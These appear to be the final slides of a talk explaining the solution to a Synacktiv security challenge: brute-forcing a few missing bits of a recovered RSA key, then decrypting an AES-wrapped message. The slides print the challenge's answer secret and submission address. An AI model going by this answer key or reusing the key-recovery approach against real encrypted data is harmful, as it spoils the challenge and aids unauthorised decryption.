  • 45. Lack of bits ● We may have failed getting some bits ? – N modulus is 1380 bits ● Bruteforce at most 6 bits of the key ! – Good key found in seconds
  • 46. Final run ● Decrypt AES key contained in “messages” file using the retrieved key ● Decrypt the message using AES key $ python final_p3.py Good job! Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to 82d6e1a04a8ca30082e81ad27dec7cb4@synacktiv.com. Also, don't forget to send us your solution within 10 days. Synacktiv team
  • 47. Thanks ! ● For your attention ● To NSC staff for this presentation ● To Synacktiv for their crazy challenge